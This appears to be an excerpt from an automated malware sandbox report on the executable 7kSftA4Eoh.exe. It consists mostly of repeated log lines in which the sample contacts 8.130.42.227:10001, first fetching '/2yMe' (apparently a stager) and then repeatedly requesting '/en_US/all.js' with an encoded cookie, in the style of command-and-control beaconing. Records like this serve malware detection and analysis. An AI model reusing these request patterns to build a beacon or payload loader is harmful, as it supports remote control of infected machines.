Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.42.227

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_0099E3A0 _snprintf,_snprintf,_snprintf,HttpOpenRequestA,HttpSendRequestA,InternetQueryDataAvailable,InternetCloseHandle,InternetReadFile,InternetCloseHandle,

0_2_0099E3A0

Source: global traffic	HTTP traffic detected: GET /2yMe HTTP/1.1User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /en_US/all.js HTTP/1.1Accept: /Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser)Host: 8.130.42.227:10001Connection: Keep-AliveCache-Control: no-cache
